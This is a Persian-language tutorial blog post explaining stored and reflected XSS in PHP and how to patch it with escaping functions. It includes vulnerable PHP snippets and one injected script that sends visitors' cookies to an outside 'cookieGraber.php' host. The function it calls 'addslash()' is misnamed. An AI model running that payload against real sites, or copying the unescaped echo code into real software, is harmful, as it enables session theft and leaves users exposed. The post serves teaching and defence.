- بازدید : (1454)
در این پست شما را با نحوه رخ دادن حملات xss آشنا می کنم./
این حملات زمانی رخ می دهد که یک سایت کد مخرب از کاربر دریافت کند و این کد از طریق این سایت در کامپیوتر قربانی مورد پردازش قرار گیرد. در واقع نفوذگر کد مخرب خود را که بر پایه دستورات html,JavaScript,Css هست را به سایت آسیب پذیر وارد کرده و سایت بدون هیچ فیلتر و یا پردازش ورودی این کد را بر روی کامپیوتر قربانی اجرا می کند./ این روش بیشتر برروی نفوذ از طریق کاربران تمرکز دارد./
این حمله از اعتماد یک کاربر به سایت سوء استفاده می شود و بر اساس همین اعتماد کدهای تزریق شده برروی کامپیوتر قربانی اجرا شده و این کدها می توانند هویت این کاربر را نزد نفوذگر افشا کنند./
حملات xss به صورت مختلفی پایه گذاری می شوند:
- فرستان یک لینک به کاربران مجاز: در این روش نفوذگر یک لینک را به کاربر ارسال می نماید و کاربر را ترغیب به رفتن به این لینک می نماید که متاسفانه پس از کلیک کد برروی سیستم قربانی اجرا می شود./
- اجرای کد توسط سایت مورد اعتماد کاربر که از آن بازدید می نماید: ممکن است شما نیز به دام این حمله افتاده باشید و پس از مشاهده یک پیغام و یا پست در سایت مورد علاقه خود مورد حمله قرار گرفته باشید. معمولا در تالارهایی که امکان استفاده از کدهای جاوا و html وجود دارد این نوع حمله قابل مشاهده است.
- کدهای مخرب ارسال شده توسط یک کاربر برای دیگر کاربران: در طول روز با سایت های زیادی بر خورد می کنید که ممکن است در هرکدام از این سایت ها امکان ارسال نظرات و پیام برای شما میسر باشد. حال اگر این پیام بدون هیچ کنترل و فیلتر مورد پردازش قرار گیرد نتیجه چیست؟؟؟ بله قطعا فاجعه برای کاربرانی که به این سایت اعتماد کرده اند و ممکن است تمامی اطلاعاتشان در خطر قرار گیرد.
کد زیر را در نظر بگیرید:
<?php
if (isset($_POST['message'])){
file_put_contents('board.txt',"{$_POST['message']}<hr/>",FILE_APPEND);
}
$messages=file_get_contents('board.txt');
echo $messages;
?>
در این مثال متن گرفته شده از کاربر بدون هیچ پردازشی در فایل board.txt قرار گرفت تا برای کاربران نمایش داده شود.
حال اگر نفوذگر کد زیر را وارد نماید:
<script>document.location='http://silentDi3.co.cc/cookieGraber.php?cookies='+document.cookie</script>
نتیجه آن می شود که هرکاربری مجاز سایت از این نظر و این قسمت مشاهده نماید کوکی مورد استفاده این کاربر برای نفوذگر ارسال می شود./
---------------
حالا نحوه ی پچ کردن باگ xss رو با هم بررسی میکنیم.
همونطور که توضیح دادم این باگ عموما بر اثر بی توجهی و عدم بررسی ورودی ها رخ می دهد./ حالا اگه ما ورودی ها رو چک کنیم دیگه جای هیچ مشکلی نمی مونه./ کد زیر را در نظر بگیرید:
<?php
$temp = $_GET['search'];
echo $temp
?>
همانطور که مشاهده می کنید این یک کد آسیب پذیر به باگ xss است./ در زیر به روش های پچ این باگ می پردازیم.
1- استفاده از تابع addslash() : این تابع یک اسلش به ورودی های مشکوک به این حمله اضافه می کند( مانند: ',",...)
<?php
$temp=addslash($_GET['search']);
echo $temp;
?>
این روش یک روش معمول و پر استفاده می باشد اما ایمن نست و به راحتی قابل دور زدن است.!
2- استفاده از تابع htmlspecialchars() : کار این تابع این است که تمامی کاراکتر های استاندارد زبان html را به کد شده آن تبدیل می کند که دقیقا همان کاراکتر ها را در خروجی نمایش می دهد./
<?php
$temp=htmlspecialchars($_GET['search']);
echo $temp;
?>
این روش می تواند روش موثری در برابر این نوع حملات باشد.
3- استفاده از تابع htmlentities() : این تابع نیز دقیقا مانند تابع بالا عمل کرده و از عملکرد مناسب تر و دقیقتری برخوردار است:
<?php
$temp=htmlentities($_GET['search']);
echo $temp;
?>
4- سایر روش های جلوگیری: این روش ها بستگی به خلاقیت برنامه نویس دارد و اینکه از کدام روشها استفاده نماید./
پس به همین دلیل ازتون ممنون میشیم که سوالات غیرمرتبط با این مطلب را در انجمن های سایت مطرح کنید . در بخش نظرات فقط سوالات مرتبط با مطلب پاسخ داده خواهد شد .